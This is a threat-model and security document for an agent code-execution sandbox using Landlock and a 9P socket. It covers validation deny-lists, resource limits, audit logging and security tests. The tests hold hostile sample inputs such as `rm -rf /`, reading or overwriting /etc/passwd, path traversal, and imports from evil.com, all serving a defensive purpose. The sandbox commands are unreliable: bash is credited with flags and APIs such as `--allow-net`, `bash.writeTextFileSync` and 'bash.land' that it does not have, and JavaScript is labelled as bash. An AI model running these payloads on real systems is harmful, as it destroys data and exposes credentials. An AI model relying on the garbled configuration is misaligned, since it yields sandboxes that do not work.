# Code Execution Security Documentation ## Threat Model ### Overview The code execution pattern allows agents to write and execute bash code in a isolated subprocess. This document analyzes security threats and mitigations. ### Trust Boundary ``` ┌─────────────────────────────────────────┐ │ Agent (LLM) │ │ - Generates code │ │ - Untrusted input │ └──────────────┬──────────────────────────┘ │ bash code ↓ ┌─────────────────────────────────────────┐ │ Code Validator │ │ - Pattern matching │ │ - Syntax validation │ └──────────────┬──────────────────────────┘ │ Validated code ↓ ┌─────────────────────────────────────────┐ │ Subprocess (bash + Landlock) │ │ - Filesystem restrictions │ │ - Command whitelist │ │ - Resource limits │ └──────────────┬──────────────────────────┘ │ 9P commands ↓ ┌─────────────────────────────────────────┐ │ 9P Operations │ │ - Unix permissions │ │ - Audit logging │ └─────────────────────────────────────────┘ ``` ### Threat Categories 1. **Malicious Code Injection**: Agent generates harmful code 2. **Subprocess Escape**: Code breaks out of subprocess 3. **Resource Exhaustion**: Code consumes excessive resources 4. **Data Exfiltration**: Code leaks sensitive data 5. **9P Socket Access**: Unauthorized 9P operations 6. **Supply Chain**: Malicious dependencies ## Threat Analysis ### Threat 1: Malicious Code Injection **Description**: Agent generates code that attempts to harm the system. **Risk Level**: LOW **Attack Vectors**: - Execute arbitrary commands - Delete files - Modify system configuration - Install malware **Mitigations**: 1. **Code Validation**: Pattern matching blocks dangerous constructs ```go func validateCode(code string) error { dangerous := []string{ "bash.exit", // Process termination "bash.kill", // Kill processes "eval(", // Dynamic code execution "Function(", // Dynamic function creation "import(", // Dynamic imports "bash.dlopen", // Load native libraries } for _, pattern := range dangerous { if strings.Contains(code, pattern) { return fmt.Errorf("dangerous pattern: %s", pattern) } } return nil } ``` 2. **Subprocess Restrictions**: bash permissions limit capabilities ```bash bash run \ --allow-read=/tmp/workspace-123 \ --allow-run=/usr/bin/9p \ --allow-env=NAMESPACE,AGENT_ID \ script.sh ``` 3. **Command Whitelist**: Only `/usr/bin/9p` can be executed **Residual Risk**: LOW - Multiple layers of defense ### Threat 2: Subprocess Escape **Description**: Code breaks out of subprocess to access host system. **Risk Level**: LOW **Attack Vectors**: - Exploit bash vulnerabilities - Bypass Landlock restrictions - Exploit kernel vulnerabilities **Mitigations**: 1. **Landlock LSM**: Kernel-enforced filesystem restrictions ```go // Landlock configuration (kernel-level) // - Whitelist: /tmp/workspace-*, /usr/bin/9p // - Deny: Everything else ``` 2. **bash Subprocess**: Process-level isolation - No network access - Limited filesystem access - No dynamic code loading 3. **Temporary Workspace**: Isolated per execution ```go workspace := filepath.Join(os.TempDir(), fmt.Sprintf("anvilmcp-%d", time.Now().UnixNano())) defer os.RemoveAll(workspace) ``` 4. **Regular Updates**: Keep bash and kernel patched **Residual Risk**: LOW - Kernel-enforced isolation ### Threat 3: Resource Exhaustion **Description**: Code consumes excessive CPU, memory, or disk. **Risk Level**: MEDIUM **Attack Vectors**: - Infinite loops - Memory leaks - Large file creation - Fork bombs **Mitigations**: 1. **Execution Timeout**: Hard limit on execution time ```go ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutSec)*time.Second) defer cancel() cmd := exec.CommandContext(ctx, "bash", "run", ...) ``` 2. **Workspace Quota**: Limit disk usage ```go // Set quota on /tmp/workspace-* (future enhancement) // Current: Rely on /tmp size limits ``` 3. **Output Size Limit**: Truncate large outputs ```go const maxOutputSize = 1024 * 1024 // 1 MB if len(output) > maxOutputSize { output = output[:maxOutputSize] output = append(output, []byte("\n[Output truncated]")...) } ``` 4. **Concurrent Execution Limit**: Prevent resource exhaustion ```go // Semaphore to limit concurrent executions var executionSem = make(chan struct{}, 4) // Max 4 concurrent ``` **Residual Risk**: MEDIUM - Requires monitoring and tuning ### Threat 4: Data Exfiltration **Description**: Code leaks sensitive data outside the system. **Risk Level**: LOW **Attack Vectors**: - Network exfiltration (blocked) - Filesystem writes (restricted) - Covert channels (timing, errors) **Mitigations**: 1. **No Network Access**: bash runs without `--allow-net` ```bash # Network access denied bash run --allow-net=NONE script.sh ``` 2. **Filesystem Restrictions**: Can only write to workspace ```bash bash run --allow-write=/tmp/workspace-123 script.sh ``` 3. **Explicit Logging**: Only stdout/stderr returned ```go // Agent only sees what code prints output, err := cmd.CombinedOutput() return string(output), err ``` 4. **Data Isolation**: Intermediate data stays in subprocess ```bash // PII never enters model context const emails = await getCustomerEmails(); // Stays in subprocess for (const email of emails) { await updateCRM({ email: email.address }); // Direct transfer } console.log(`Processed ${emails.length} emails`); // Summary only ``` **Residual Risk**: LOW — data stays in subprocess, only summaries returned to the model ### Threat 5: 9P Socket Access **Description**: Unauthorized access to 9P operations. **Risk Level**: MEDIUM (Same as current system) **Attack Vectors**: - Read sensitive data via 9P - Modify system state via 9P - Impersonate other agents **Mitigations**: 1. **Unix Permissions**: Socket access controlled by filesystem ```bash # 9P socket permissions srwxr-x--- 1 user group 0 /tmp/ns.user.:0/anvilmcp ``` 2. **Agent ID Validation**: Operations check agent identity ```go // Verify agent ID matches session if agentID != session.AgentID { return fmt.Errorf("unauthorized") } ``` 3. **Audit Logging**: All 9P operations logged ```go log.Printf("9P: agent=%s op=%s path=%s", agentID, op, path) ``` 4. **Operation Whitelist**: Only allowed operations exposed ```go // Only expose safe operations allowedOps := []string{"read", "write", "ls"} ``` **Residual Risk**: MEDIUM — inherent to any 9P client **Mitigation**: Run locally on a trusted network. On a single-user system, the only processes with socket access are ones the user launched — self-inflicted abuse is not a meaningful threat. Do not expose the 9P mount over the network, or at minimum, implement access control (e.g., firewall). ### Threat 6: Supply Chain **Description**: Malicious dependencies in code. **Risk Level**: LOW **Attack Vectors**: - Import malicious npm packages - Import compromised bash modules - Remote code injection via imports **Mitigations**: 1. **No Remote Imports**: bash runs without network access ```bash # Remote imports fail bash run --allow-net=NONE script.sh # Error: Network access denied ``` 2. **Standard Library Only**: Only bash std allowed ```bash // Allowed import { readLines } from "https://bash.land/std/io/mod.sh"; // Blocked (no network) import { malicious } from "https://evil.com/malware.sh"; ``` 3. **Local Imports Only**: Only import from workspace ```bash // Allowed # Call tools from anvillm/tools/check_inbox.sh"; // Blocked (outside workspace) import { evil } from "/etc/passwd"; ``` **Residual Risk**: LOW - No remote imports possible ## Security Properties 1. **Data Isolation**: Intermediate data stays in subprocess — only stdout/stderr returned to the model 2. **Privacy Preservation**: PII processed in subprocess, never enters model context 3. **Explicit Control**: Agent explicitly chooses what to print (and thus what the model sees) 4. **9P Access Control**: Unix socket permissions, audit logging 5. **Process Isolation**: Separate landrun sandbox per execution 6. **Code Validation**: Pattern matching rejects dangerous constructs ## Subprocess Configuration ### bash Permissions ```bash bash run \ --allow-read=/tmp/workspace-123 \ # Read workspace only --allow-write=/tmp/workspace-123 \ # Write workspace only --allow-run=/usr/bin/9p \ # Execute 9p only --allow-env=NAMESPACE,AGENT_ID \ # Limited env vars --no-prompt \ # No interactive prompts script.sh ``` ### Landlock Configuration ```go // Kernel-enforced filesystem restrictions // Implemented via landlock(7) LSM type LandlockConfig struct { AllowRead []string // Paths allowed for reading AllowWrite []string // Paths allowed for writing AllowExec []string // Paths allowed for execution } config := LandlockConfig{ AllowRead: []string{"/tmp/workspace-*", "/usr/bin/9p"}, AllowWrite: []string{"/tmp/workspace-*"}, AllowExec: []string{"/usr/bin/9p"}, } ``` ### Resource Limits ```go type ResourceLimits struct { TimeoutSec int // Max execution time MaxOutputBytes int // Max output size MaxConcurrent int // Max concurrent executions WorkspaceQuota int64 // Max workspace size } limits := ResourceLimits{ TimeoutSec: 30, MaxOutputBytes: 1024 * 1024, // 1 MB MaxConcurrent: 4, WorkspaceQuota: 100 * 1024 * 1024, // 100 MB } ``` ## Monitoring and Auditing ### Execution Logs ```go type ExecutionLog struct { Timestamp time.Time AgentID string CodeHash string // SHA256 of code Language string Duration int64 // Milliseconds Success bool OutputSize int Error string } ``` ### Metrics to Monitor 1. **Execution Rate**: Executions per minute 2. **Failure Rate**: Failed executions / total 3. **Timeout Rate**: Timeouts / total 4. **Output Size**: Average and max output size 5. **Duration**: Average and max execution time ### Alerts 1. **High Failure Rate**: >10% failures in 5 minutes 2. **Frequent Timeouts**: >5 timeouts in 5 minutes 3. **Large Outputs**: >1 MB output 4. **Validation Failures**: Dangerous patterns detected 5. **Resource Exhaustion**: Concurrent limit reached ### Audit Trail ```go // Log all executions log.Printf("EXEC: agent=%s hash=%s duration=%dms success=%v", agentID, codeHash, duration, success) // Log validation failures log.Printf("VALIDATION_FAILED: agent=%s pattern=%s", agentID, dangerousPattern) // Log 9P operations from subprocess log.Printf("9P: agent=%s op=%s path=%s", agentID, operation, path) ``` ## Incident Response ### Detection 1. **Validation Failure**: Dangerous pattern detected - Action: Block execution, log incident, alert admin 2. **Repeated Timeouts**: Same agent timing out repeatedly - Action: Rate limit agent, investigate code 3. **Subprocess Escape Attempt**: Unexpected filesystem access - Action: Kill process, log incident, alert security team 4. **Resource Exhaustion**: Concurrent limit reached - Action: Queue executions, investigate load ### Response Procedures 1. **Immediate**: Kill offending process 2. **Short-term**: Block agent from code execution 3. **Investigation**: Review logs, analyze code 4. **Long-term**: Update validation rules, patch vulnerabilities ## Security Testing ### Unit Tests ```go func TestCodeValidation(t *testing.T) { tests := []struct { code string shouldFail bool }{ {"console.log('hello')", false}, {"bash.exit(1)", true}, {"eval('malicious')", true}, } for _, tt := range tests { err := validateCode(tt.code) if (err != nil) != tt.shouldFail { t.Errorf("validateCode(%q) = %v, want fail=%v", tt.code, err, tt.shouldFail) } } } ``` ### Integration Tests ```go func TestSubprocessRestrictions(t *testing.T) { // Test filesystem restrictions code := `bash.writeTextFileSync("/etc/passwd", "hacked")` _, err := executeCode(code, "bash", 10) if err == nil { t.Error("Expected filesystem restriction, got success") } // Test command whitelist code = `bash.run({cmd: ["rm", "-rf", "/"]})` _, err = executeCode(code, "bash", 10) if err == nil { t.Error("Expected command restriction, got success") } } ``` ### Security Tests ```go func TestSubprocessEscape(t *testing.T) { // Attempt various escape techniques escapeAttempts := []string{ `bash.run({cmd: ["bash", "-c", "cat /etc/passwd"]})`, `bash.writeTextFileSync("../../../etc/passwd", "hacked")`, `import("https://evil.com/malware.sh")`, } for _, code := range escapeAttempts { _, err := executeCode(code, "bash", 10) if err == nil { t.Errorf("Subprocess escape succeeded: %s", code) } } } ``` ## Best Practices ### For Developers 1. **Validate All Code**: Never skip validation 2. **Enforce Timeouts**: Always set execution timeout 3. **Limit Output Size**: Truncate large outputs 4. **Log Everything**: Comprehensive audit trail 5. **Monitor Metrics**: Track execution patterns 6. **Update Regularly**: Keep bash and kernel patched ### For Operators 1. **Review Logs**: Regular log analysis 2. **Monitor Alerts**: Respond to security alerts 3. **Test Subprocess**: Regular security testing 4. **Update Rules**: Refine validation patterns 5. **Incident Response**: Have procedures ready ### For Users 1. **Trust the Subprocess**: Don't bypass restrictions 2. **Report Issues**: Report suspicious behavior 3. **Follow Guidelines**: Use code execution appropriately 4. **Review Output**: Check execution results ## Comparison to Alternatives ### vs Unrestricted Execution | Aspect | Unrestricted | Code Execution | |--------|--------------|----------------| | Filesystem access | Full | Restricted (workspace) | | Network access | Full | None | | Command execution | Any | Whitelist (/usr/bin/9p) | | Resource limits | None | Timeouts, quotas | | Code validation | None | Pattern matching | **Conclusion**: Code execution is significantly more secure ## Future Enhancements ### Phase 7: Advanced Security 1. **PII Tokenization**: Automatic PII detection and masking 2. **Network Access**: Controlled network with allowlist 3. **Cryptographic Signing**: Sign and verify code 4. **Capability-Based Security**: Fine-grained permissions 5. **Anomaly Detection**: ML-based threat detection ### Phase 8: Compliance 1. **SOC 2 Compliance**: Audit controls 2. **GDPR Compliance**: Data protection measures 3. **HIPAA Compliance**: Healthcare data handling 4. **PCI DSS Compliance**: Payment data security ## References - bash Security: https://bash.land/manual/getting_started/permissions - Landlock LSM: https://landlock.io/ - Anthropic Code Execution: https://www.anthropic.com/engineering/code-execution-with-mcp - OWASP Subprocess Guide: https://owasp.org/www-community/Subprocessing ## Conclusion The code execution pattern provides strong security through multiple layers: 1. **Code Validation**: Block dangerous patterns 2. **bash Subprocess**: Process-level isolation 3. **Landlock LSM**: Kernel-level enforcement 4. **Resource Limits**: Prevent exhaustion 5. **Audit Logging**: Comprehensive trail **Security Posture**: Data isolation and explicit control over information flow via sandboxed subprocesses. **Residual Risks**: Primarily resource exhaustion (MEDIUM) and 9P access control (MEDIUM, inherent to any 9P client). Mitigated by running locally on a trusted network — do not expose the 9P mount over the network, or at minimum, implement access control (e.g., firewall). **Recommendation**: Proceed with implementation. Security benefits outweigh risks.